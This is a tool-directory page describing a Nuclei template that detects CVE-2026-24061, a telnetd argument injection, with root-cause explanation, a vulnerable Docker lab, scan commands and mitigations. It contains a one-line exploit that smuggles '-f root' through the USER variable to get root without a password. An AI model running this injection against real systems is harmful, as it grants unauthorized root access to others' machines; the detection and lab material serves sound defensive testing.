Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061 β€” Nuclei template for detecting CVE-2026-24061, a critical telnet argument injection in GNU inetutils telnetd allowing unauthenticated root access. | Kitploit
Tools/GitHubGitHub/mr-zapi/cve-2026-24061
Vulnerability ScannersExploitationWeb Application ExploitationNetwork SecurityPenetration TestingLearning & Education
GitHubmr-zapi/cve-2026-24061

CVE-2026-24061

Nuclei template for detecting CVE-2026-24061, a critical telnet argument injection in GNU inetutils telnetd allowing unauthenticated root access.

View Repository
1409 months agoNot yet reviewed
Share

CVE-2026-24061 - Telnet Argument Injection

Nuclei template for detecting the CVE-2026-24061 vulnerability in GNU inetutils telnetd, allowing root access without authentication.

πŸ“‹ Vulnerability Description

CVE-2026-24061 is a critical argument injection vulnerability in GNU inetutils telnetd that allows an attacker to obtain a root shell without knowing the password.

How does it work?

  1. Root cause: In 2015, a new login template with the dynamic %U parameter was added to telnetd:
   /usr/bin/login -p -h %h %?u{-f %u}{%U}
  1. Vulnerability: The USER environment variable is passed via the telnet protocol (RFC 1572 NEW-ENVIRON) and is not sanitized before being substituted into the command.

  2. Exploitation: The attacker sets USER="-f root" when connecting:

   USER="-f root" telnet -a target.com 23
  1. Result: The login command becomes:
   /usr/bin/login -p -h hostname -f root

The -f flag means "skip authentication" β†’ root without a password πŸ’€

🎯 Affected Versions

  • GNU inetutils telnetd with the vulnerable login template
  • For example: inetutils-telnetd 2:2.0-1+deb11u2
  • Systems where telnetd uses autologin without Kerberos

πŸš€ Usage

Basic scanning

nuclei -t cve-2026-24061.yaml -u target.com:23 -code

Multiple targets

nuclei -t cve-2026-24061.yaml -l targets.txt -code

πŸ”¬ Test Lab

For testing, you can spin up a vulnerable Docker container:

FROM debian:11-slim

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
    apt-get install -y --no-install-recommends \
      inetutils-telnetd=2:2.0-1+deb11u2 \
      telnet && \
    rm -rf /var/lib/apt/lists/*

RUN useradd user1 && \
    sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf

EXPOSE 23

CMD ["/usr/sbin/inetutils-inetd", "-d"]

Running:

# Build the image
docker build -t vuln-telnetd .

# Run it
docker run -d -p 2323:23 vuln-telnetd

# Check for the vulnerability
nuclei -t cve-2026-24061.yaml -u 127.0.0.1:2323 -code -v

πŸ›‘οΈ Mitigation

  1. Update inetutils to the patched version
  2. Disable telnetd and use SSH
  3. Filter port 23 on the firewall
  4. Monitor telnet connections

πŸ“š References

  • NVD - CVE-2026-24061
  • SafeBreach Labs - Root Cause Analysis

πŸ“Š CVSS Score

9.8 / 10 - Critical

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • AV:N - Network (attack over the network)
  • AC:L - Low complexity (easy to exploit)
  • PR:N - No privileges required (no authentication needed)
  • UI:N - No user interaction (automatic exploitation)
  • C:H/I:H/A:H - High impact on confidentiality, integrity, and availability

⚠️ Disclaimer

This tool is intended only for legal security testing of systems for which you have explicit permission.

The author is not responsible for any misuse of this template.

πŸ‘€ Author

Created by Mr.Zapi

Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools β†’